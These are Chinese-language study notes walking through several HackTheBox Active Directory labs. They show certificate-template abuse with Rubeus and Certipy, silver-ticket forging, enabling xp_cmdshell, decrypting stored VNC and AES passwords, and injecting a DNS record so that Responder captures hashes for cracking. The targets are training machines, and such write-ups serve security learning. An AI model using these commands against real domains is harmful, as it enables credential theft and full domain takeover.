自述文件和该输出的末尾都显示了下一步。我会将所有内容复制-----BEGIN RSA PRIVATE KEY----------END CERTIFICATE-----主机上的文件中,并.pfx使用给定的命令将其转换为 a,出现提示时不输入密码:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

我将上传cert.pfx以及Rubeus的副本(从SharpCollection下载),然后运行asktgt命令,向其传递证书以作为管理员获取 TGT:

.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx

有用!但是,Rubeus 尝试将返回的票证直接加载到当前会话中,因此理论上,一旦我运行此命令,我就可以进入管理员的文件夹并获取标志。然而,这对 Evil-WinRM 不起作用。

相反,我将使用 运行相同的命令/getcredentials /show /nowrap。这将执行相同的操作,尝试转储有关帐户的凭据信息:

.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap

image-20240106122309149

最后一行是管理员帐户的 NTLM 哈希值。

完成同样事情的替代工具是Certipy,它很好,因为我可以从我的虚拟机远程运行它。它有一个find命令可以识别易受攻击的模板:不过这个我没有尝试

certipy find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable

image-20240106122407957

并允许我像上面一样req获得证书:.pfx``Certify.exe``openssl

certipy req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication

auth命令将获取该证书 ( administrator.pfx) 并获取哈希值。

certipy auth -pfx administrator.pfx

Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

白银票据(How Attackers Use Kerberos Silver Tickets to Exploit Systems – Active Directory Security

自己的理解:相当于就是tgs发送的AT是在本地伪造的(AT中的一部分是需要server密钥解密码的得到cs_sk对另一部分解密,里面部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端),当攻击机在知道server的hash密码时,就可以本地伪造AT了,然后直接访问服务

为了创建或伪造银票,攻击者必须了解目标服务的密码数据(密码哈希)。如果目标服务在用户帐户的上下文中运行,例如 MS SQL,则需要服务帐户的密码哈希才能创建银票

通常,当我想要对 MSSQL 进行身份验证时,我会要求提供服务主体名称 (SPN) 的 Kerberos 票证。该请求发送到密钥分发中心 (KDC)(通常是域控制器),在其中查找与该 SPN 关联的用户,检查所请求的用户是否应该具有访问权限,并在几轮通信后返回用户的票证,使用服务帐户的 NTLM 哈希对其进行加密。现在,当用户将该票证提供给服务时,服务可以对其进行解密并将其用作身份验证。

在银票攻击中,与 DC 的所有通信都会被跳过。攻击者伪造服务票证(也称为 TGS),并使用服务帐户的 NTLM 对其进行加密。

我有 sql_svc 帐户的 NTLM 哈希值。MSSQL 服务没有分配 SPN(如果有,我可以要求 DC 生成一个服务票证,该票证将使用 sql_svc 的哈希进行加密,然后对其进行修改)。不过,我这里不需要 DC。我可以使用 Impacket 工具在本地伪造服务票证,使用 sql_svc 的 NTML 哈希对其进行加密,然后连接到 MSSQL。该票证不适用于任何其他服务,但我将能够模拟 MSSQL 上的任何用户。

要生成 Silver Ticket,我将使用ticketer.py,它需要以下信息:

  • sql_svc 的 NTLM 哈希。

  • 域 SID。

  • 域名。

  • SPN(不必是有效的 SPN)。

  • 要模拟的用户的名称。

我已经获得了sequel.htb的域名。

我已经获得了 sql_svc 的密码,但我需要 NTLM 哈希。有很多在线工具可以为您计算。这对于 HTB 来说效果很好,但如果这是真正的参与,我不想将客户数据放入不受信任的网站。

我将在 Python 中使用hashlib. NTLM 是 MD4 具有 UTF-16 小结尾的密码编码:

>>> import hashlib
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest()
b'\x14C\xec\x19\xdaM\xacO\xfc\x95;\xca\x1bW\xb4\xcf'

为了很好地打印它,我将使用hex():REGGIE1234ronnie这个时前面获得的sql_svc的密码

>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex()

'1443ec19da4dac4ffc953bca1b57b4cf'

Get-ADDomain( docs ) 返回有关域的信息,包括 SID:

*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID

DomainSID : S-1-5-21-4078382237-1492182817-2568127209

使用ticketer.py告知以下信息:

oxdf@hacky$ ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator


Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache

它计算必要的信息并将 TGS 保存在administrator.ccache. 我将使用KRB5CCNAME环境变量告诉我的系统使用该服务票证进行身份验证。export KRB5CCNAME=administrator.ccache这可以通过运行或在每个命令之前添加来完成KRB5CCNAME=administrator.ccache(我将用它来显示它的使用位置)。KRB5CCNAME=administrator.ccache``ccache:此环境变量指定用户“管理员”的Kerberos 票证缓存 ( ) 文件的位置。它通常用于存储身份验证期间获得的 Kerberos 票证。

KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb

从现在起,我可以以管理员身份从框中读取文件:

SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents BulkColumn

您提供的 SQL 查询似乎正在使用该OPENROWSET函数从文件中读取数据。具体来说,它尝试读取位于的文件的内容C:\users\ryan.cooper\desktop\user.txt并将其作为单个 CLOB(字符大对象)值进行检索。

以下是查询的细分:

SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents;
  • OPENROWSET:该函数用于从文件或数据源读取数据。它允许您从外部源访问数据。

  • BULK:该关键字与 结合使用,OPENROWSET表示数据源是文件。

  • N'C:\users\ryan.cooper\desktop\user.txt':这是读取数据的文件路径。它是一个位于C:\users\ryan.cooper\desktop\user.txt.

  • SINGLE_CLOB:指定正在读取的数据的格式。在这种情况下,它表明数据被视为单个 CLOB(字符大对象)值。

  • AS Contents:这将为检索到的数据分配一个列别名“Contents”。

  • 执行

    xp_cmdshell仍然处于禁用状态,但与 sql_svc 不同,管理员用户有权启用它:

    SQL (sequel\Administrator  dbo@master)> xp_cmdshell whoami
    [-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
    SQL (sequel\Administrator  dbo@master)> EXECUTE sp_configure 'show advanced options', 1
    [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
    SQL (sequel\Administrator  dbo@master)> RECONFIGURE
    SQL (sequel\Administrator  dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1
    [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
    SQL (sequel\Administrator  dbo@master)> RECONFIGURE
    SQL (sequel\Administrator  dbo@master)> xp_cmdshell whoami
    output           
    --------------   
    sequel\sql_svc

    命令仍然作为 sql_svc 运行。这是因为 sql_svc 仍然是运行 MSSQL 服务的进程。它只能与操作系统协商以管理员身份读取文件,因为它有该票证。

通过以管理员身份读写文件,我可以将其转变为以管理员身份执行。此 PayloadsAllTheThings 页面显示了各种方法。我在 HackBack 中展示了 DiagHub 方法,尽管它已经被修补了。我在 Proper 中展示了 WerTrigger 方法,我相信该方法仍然有效。

或者我可以通过 MSSQL 使用 shell 并SeImpersonatePrivilege通过 Potato 漏洞进行滥用(正如我之前多次展示的那样)。

cascade

要枚举 LDAP,首先我将获取命名上下文:

root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts

image-20240106155017063

如果我只想找到人,我可以提供一个查询::

ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people

通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd

我可以将值解码为rY4n5eva

root@kali# echo clk0bjVldmE= | base64 -d
rY4n5eva

我尝试通过 WinRM 连接,但没有成功。

root@kali# crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\r.thompson:rY4n5eva "Failed to authenticate the user r.thompson with ntlm"

使用从 LDAP 收集的密码,可以看到更多共享:

root@kali# crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182

recurse on

recurse ON:该命令启用递归操作。如果执行复制或下载文件等操作,该命令也会影响子目录中的文件。

prompt off

ls

mget *

image-20240106162709054

从收集到的信息来看,最引起我兴趣的文件是“VNC Install.reg”,因为 VNC 是一个远程软件。也因为它位于s.smith文件夹中。

cat IT/Temp/s.smith/VNC\ Install.reg

img

你知道什么……?另一个编码密码!这次,它是十六进制编码的,所以我使用以下命令对其进行解码:

echo "6bcf2a4b6e5aca0f" | xxd -r -p && echo ''

img

它有效,但密码看起来已加密。这是因为这是 VNC 密码。

但是,有一个技巧可以使用默认加密密钥和 open-ssl 单行代码来解码 VNC 密码。

echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

这句出现报错,用下面这句

可以尝试删除-provider legacy -provider default

echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

img

接下来,我使用 clangmapexec 再次检查每个用户的密码

crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p sT333ve2 --continue-on-success

这确认了该密码属于s.smith

其余三个要检查的文件是:

  • IT/电子邮件档案/Meeting_Notes_June_2018.html

  • IT/日志/Ark AD 回收站/ArkAdRecycleBin.log

  • IT/日志/DC/dcdiag.log

由于该文件是 HTML 文件,因此可以在终端上使用cat或在浏览器中读取它。我决定在浏览器中检查它,看看它的渲染效果是否“漂亮”。

firefox "IT/Email Archives/Meeting_Notes_June_2018.html"

很有意思!我们可以看到 TempAdmin 帐户已被删除的提示,但密码与实际管理员帐户相同。

基本上,这告诉我,找到 TempAdmin 的密码将使我能够以管理员帐户访问主机。

下一个要检查的文件是“ArkAdRecycleBin.log”

cat "IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"

这个文件也很有趣。它告诉我们,他们是一个用于删除用户的程序,并且以ArkSvc帐户运行。

这里有两件重要的事情。首先,该程序作为服务帐户运行,这意味着它需要以某种方式验证该用户的身份(脚本中的密码?)。其次,我们可以看到该程序删除了TempAdmin帐户,该帐户的密码与实际管理员帐户的密码相同。

image-20240106165104930

此外,据观察,ArkSvc帐户是AD 回收站组的一部分,这可能是该程序所需要的。此外,该帐户位于“AD Recycle Bin”组中,并且可以使用 WinRM 远程管理 DC。

最后,我们要检查“dcdiag.log”文件。

cat "IT/Logs/DCs/dcdiag.log"

然而,查看此文件,它似乎是带有“通过或失败”消息的诊断测试 - 没有从输出中提取任何有趣的内容。

现在已经完全枚举了共享,我决定继续前进,看看我作为用户s.smith可以做什么。

现在我确认密码对于用户s.smith是有效的,我可以轻松地在 WinRM 上站稳脚跟。

此外,用户s.smith也在“Audit Share”组中。早些时候,我们发现有一个名为Audit$

smbclient \\10.10.10.182\Audit$ -U 'cascade.local\s.smith' recurse on

prompt off

ls

mget *

首先看到的是DB\Audit.db。这是一个 SQLite3 数据库:

root@kali# file Audit.db 
Audit.db: SQLite 3.x database, last written using SQLite version 3027002

我转储了三个表中的所有数据:

root@kali# sqlite3 Audit.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit  Ldap              Misc

sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

sqlite> select * from Misc;

没有什么特别有趣的事情。我认为该Ldap表中可能有密码,但 Base64 编码的数据无法解码为 ASCII。也许它以某种方式加密了。

image-20240106172425801

逆向(解密该密码)

CascAudit.exeCascCrypto.dll文件传输到我的 Windows 实验室计算机。

先看.dll文件

这是一个用于在C#中进行AES加密的简单实现。以下是对代码的解释:

csharpCopy codenamespace CascCrypto
{
    // Crypto类用于包含加密相关的方法
    public class Crypto
    {
        // EncryptString方法用于对输入的明文字符串进行加密
        public static string EncryptString(string Plaintext, string Key)
        {
            // 将明文字符串转换为字节数组
            byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);

            // 创建AES实例
            Aes aes = Aes.Create();

            // 设置AES算法的一些参数
            aes.BlockSize = 128;  // 指定块大小为128位
            aes.KeySize = 128;    // 指定密钥大小为128位

            // 设置初始化向量(IV),这是AES算法中的一个参数,通常需要和密钥一起使用
            aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");

            // 设置加密密钥
            aes.Key = Encoding.UTF8.GetBytes(Key);

            // 设置加密模式,这里使用的是Cipher Block Chaining (CBC) 模式
            aes.Mode = CipherMode.CBC;

            // 创建加密器
            ICryptoTransform encryptor = aes.CreateEncryptor();

            // 使用加密器对字节数组进行加密
            byte[] encryptedBytes = encryptor.TransformFinalBlock(bytes, 0, bytes.Length);

            // 将加密后的字节数组转换为Base64字符串表示
            string result = Convert.ToBase64String(encryptedBytes);

            // 返回加密后的字符串
            return result;
        }
    }
}

这段代码使用了C#中的Aes类,该类提供了对高级加密标准 (AES) 算法的实现。在加密过程中,它使用了128位的块大小和密钥大小,采用了Cipher Block Chaining (CBC) 模式。初始化向量 (IV) 和密钥都是使用UTF-8编码的字符串。最终,明文字符串被转换为字节数组,然后通过AES加密器进行加密,并将结果以Base64字符串的形式返回。

此时,我已经掌握了对该密码进行逆向工程所需的大部分信息,其中包括 base64 字符串和静态 IV 值。然而,我需要找到这个难题的最后一块是“key”值。

为此,我决定在dnSpy中打开**CascAudit.exe**,然后查看代码,看看能否找到密钥。

在检查 main() 后不久,在第 31 行发现了密钥:c4scadek3y654321

img

完美的!这意味着我拥有逆向工程该密码所需的所有内容。

为了对这个密码进行逆向工程,我决定使用一个名为CyberChef的方便工具。

img

或者

直接在.exe文件中设置断点

它打开与作为参数传递的数据库的 SQLite 连接,从 LDAP 表中读取数据,并解密密码。

我决定通过调试恢复明文密码。我在 SQL 连接关闭的第 53 行放置了一个断点。然后我进入“调试”->“开始调试...”,并将参数设置为我拥有以下副本的位置 Audit.db

图片-20200330090544403

点击“确定”后,它运行到断点,我可以在“本地”窗口中看到解密的密码:

​编辑点击查看完整大小的图片

根据 SQLite DB 中的行,此密码w3lc0meFr31nd可能与帐户 arksvc 配对。

crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd

arksvc 也属于一些有趣的组:

*Evil-WinRM* PS C:\> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 5:18:20 PM
Password expires             Never
Password changeable          1/9/2020 5:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   3/30/2020 12:37:25 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

AD Recycle Bin是一个著名的Windows小组。[Active AD Recycle Bin是一个著名的Windows小组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站恢复文件一样。链接的文章提供了一个 PowerShell 命令来查询域中所有已删除的对象:

*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects


Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted           : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local                                                                                   
Name              : Scheduled Tasks
                    DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass       : group
ObjectGUID        : 13375728-5ddb-4137-b8b8-b9041d1d3fd2

Deleted           : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                    DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass       : groupPolicyContainer
ObjectGUID        : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e

Deleted           : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name              : Machine                                                              
                    DEL:93c23674-e411-400b-bb9f-c0340bda5a34               
ObjectClass       : container                                                            
ObjectGUID        : 93c23674-e411-400b-bb9f-c0340bda5a34
                                                                                         
Deleted           : True                                                                 
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name              : User                                                                 
                    DEL:746385f2-e3a0-4252-b83a-5a206da0ed88                             
ObjectClass       : container                                                            
ObjectGUID        : 746385f2-e3a0-4252-b83a-5a206da0ed88
                                            
Deleted           : True                                                                 
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local                                                                
Name              : TempAdmin               
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059                                         
ObjectClass       : user                                                                             
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059 

最后一个非常有趣,因为它是我之前发现的旧电子邮件中提到的临时管理帐户(其中还说它使用与普通管理员帐户相同的密码)。

我可以获得该帐户的所有详细信息:

*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

立刻就cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz跳了出来。它解码为baCT3r1aN00dles

root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles

Intelligence

HTB: Intelligence | 0xdf hacks stuff

https://kavigihan.medium.com/intelligence-hackthebox-walkthrough-15d3d22123bf

dnsenum --dnsserver 10.10.10.248 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -o scans/dnsenum-bitquark-intelligence.htb intelligence.htb

dnsenum将自动化其中大部分以及强力子域。它找到 dc.intelligence.htb,以及其他几个看起来像域控制器的文件:

来到80页面,可以下载两个pdf文件

一如既往,因为我是一个 Python 爱好者,所以我制作了一个 Python 脚本来模糊测试并为我下载所有 PDF 文件。strings 查看可以看到pdf的所属用户,两个pdf都是以时间命名的,使用python脚本枚举其它pdf文件,并且下载

一如既往,因为我是一个 Python 爱好者,所以我制作了一个 Python 脚本来模糊测试并为我下载所有 PDF 文件。

seq 1 31 > days; seq 1 12 > months

Python复制代码import requests
import os

def fuzz_PDFs():
    with open('days', 'r') as d:
        days = d.readlines()

    with open('months', 'r') as m:
        months = m.readlines()

    url_file = open('urls', 'w')
    url_file.close()

    for month in months:
        for day in days:
            r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')
            if int(r.status_code) == 200:
                print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')

                with open('urls', 'a') as url_file:
                    url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')
                    url_file.write('\n')

def get_PDFs():
    with open('urls', 'r') as u:
        urls = u.readlines()

    for url in urls:
        os.system(f'wget -q {url.strip()} ')
        print(f'[+] Downloading — {url.strip()} ')

fuzz_PDFs()
get_PDFs()

这些行导入必要的模块:requests用于发出 HTTP 请求以及os与操作系统交互。

Python复制代码def fuzz_PDFs():
    with open('days', 'r') as d:
        days = d.readlines()

    with open('months', 'r') as m:
        months = m.readlines()

    url_file = open('urls', 'w')
    url_file.close()

fuzz_PDFs函数负责根据天和月对 PDF 文档的 URL 进行模糊测试。它读取“天”和“月”文件的内容,并将它们存储在daysmonths列表中。然后它以写入模式打开一个名为“urls”的文件并立即将其关闭。此步骤可能用于清除“urls”文件的现有内容,或者创建一个空的“urls”文件(如果不存在)。

Python复制代码    for month in months:
        for day in days:
            r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')
            if int(r.status_code) == 200:
                print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')

                with open('urls', 'a') as url_file:
                    url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf')
                    url_file.write('\n')

在嵌套循环中,这部分代码使用从文件获取的日期和月份生成 PDF 文档的 URL。然后,它向这些 URL 发送 HTTP 请求并检查响应状态代码是否为 200(正常)。如果是,则打印 URL,并将其与换行符一起附加到“urls”文件中。

Python复制代码def get_PDFs():
    with open('urls', 'r') as u:
        urls = u.readlines()

    for url in urls:
        os.system(f'wget -q {url.strip()} ')
        print(f'[+] Downloading — {url.strip()} ')

get_PDFs函数从“urls”文件中读取 URL,并使用该os.system函数执行wget命令以静默下载 PDF 文件。它还打印一条消息,指示正在下载文件。

Python复制代码fuzz_PDFs()
get_PDFs()

最后,这些行调用fuzz_PDFsget_PDFs函数,启动模糊测试过程并根据生成的 URL 下载 PDF 文件。

cat *.pdf | strings | grep Creator | cut -d '(' -f 2 | cut -d ')' -f 1 | grep -v TeX > users; cat users
  1. cat *.pdf:连接当前目录下所有以“.pdf”结尾的文件的内容。

  2. strings:从二进制文件中提取可打印字符。在本例中,它应用于串联的 PDF 文件以提取人类可读的字符串。

  3. grep Creator:过滤输出以仅包含包含字符串“Creator”的行。这可能是针对 PDF 文件中的元数据。

  4. cut -d '(' -f 2:使用该cut命令以“(”作为分隔符分割每一行并选择第二个字段。这样做是为了提取左括号后面的内容。

  5. cut -d ')' -f 1:与上一个命令类似cut,它使用“)”作为分隔符分割每一行并选择第一个字段。这样做是为了提取右括号之前的内容。

  6. grep -v TeX:使用 过滤掉包含字符串“TeX”的行grep -v,这意味着它选择与模式不匹配的行。

  7. > users:将过滤后的输出重定向到名为“users”的文件。

还有一个比较自动化的脚本看

HTB: Intelligence | 0xdf hacks stuff

我从2020–06–04-upload.pdf文件中获得了密码“ NewIntelligenceCorpUser9876 ” 。有了这些,我就转向了 SMB。所以我使用crackmapexec用我拥有的用户名列表来暴力破解此密码的用户名。

crackmapexec smb 10.10.10.248 -u users -p “NewIntelligenceCorpUser9876”

我得到了该密码的有效用户名。

用户名 — Tiffany.Molina 密码 — NewIntelligenceCorpUser9876

image-20240106203617852

我在共享中没有太多可以访问的内容UsersNETLOGON是空的,SYSVOL有典型的 DC 东西,但没有什么用处。IT是自定义共享名称,它包含一个文件:

oxdf@parrot$ smbclient -U Tiffany.Molina //10.10.10.248/IT NewIntelligenceCorpUser9876

downdetector.ps1

这是一个 PowerShell 脚本(我添加了空格):

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if(.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
    }
  } catch {}
}

该脚本进入 LDAP 并获取所有计算机的列表,然后循环访问名称以“web”开头的计算机。它将尝试向该服务器发出 Web 请求(使用正在运行的用户的凭据),如果状态代码不是 200,它将向 Ted.Graves 发送电子邮件,让他们知道主机已关闭。顶部的评论说它计划每五分钟运行一次。

所以我们尝试让他报错然后向Ted.Graves 发送电子邮件

dnstool.py是Krbrelayx附带的一个脚本,它可以:

通过 LDAP 添加/修改/删除 Active Directory 集成 DNS 记录。

值得一试,看看 Tiffany.Molina 是否有权通过使用以下选项运行来进行此类更改:

  • -u intelligence\\Tiffany.Molina- 进行身份验证的用户;

  • -p NewIntelligenceCorpUser9876- 用户的密码;

  • --action add- 添加新记录;

  • --record web-0xdf- 要添加的域;

  • --data 10.01.14.19- 要添加的数据,在本例中为解析 web-0xdf 的 IP;

  • --type A- 要添加的记录类型。

运行这个似乎有效:这边的data和--record后面的ip和用户都是假的

oxdf@parrot$ python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-0xdf --data 10.10.14.19 --type A intelligence.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

responder -I tun0 -A 监听

image-20240106210949397

我这边不行,没成功

hashcat -m 5600 ted.graves.hash /usr/share/wordlists/rockyou.txt

Ted.Graves 的密码是“Mr.Teddy”。crackmapexec确认它适用于 SMB:

crackmapexec smb 10.10.10.248 -u Ted.Graves -p Mr.Teddy -d intelligence.htb

image-20240106211053952

image-20240106211043216

Ted.Graves 属于 ITSupport 组,该组具有ReadGMSAPasswordSVC_INT。更有趣的是,如果我使用预先构建的查询“来自拥有原则的最短路径”,则 svc_int 帐户AllowedToDelegate在 DC 上具有:

图片-20210816144237665

组管理服务帐户(GMSA) 为服务帐户提供额外的安全性。有一个用于提取 GMSA 密码的 Python 工具gMSADumper,是由 Intelligence 的作者编写的,这是我正朝着正确方向前进的另一个好迹象。

作为 Tiffany.Molina,它没有找到任何东西(这是有道理的):

oxdf@parrot$ python3 gMSADumper.py -u tiffany.molina -p NewIntelligenceCorpUser9876 -l intelligence.htb -d intelligence.htb
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport

但正如 Ted.Graves 所说,它确实:

oxdf@parrot$ python3 gMSADumper.py -u ted.graves -p Mr.Teddy -l intelligence.htb -d intelligence.htb
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::5e47bac787e5e1970cf9acdb5b316239

image-20240106221915031

使用脚本出现这个错误

pip install pycryptodome解决

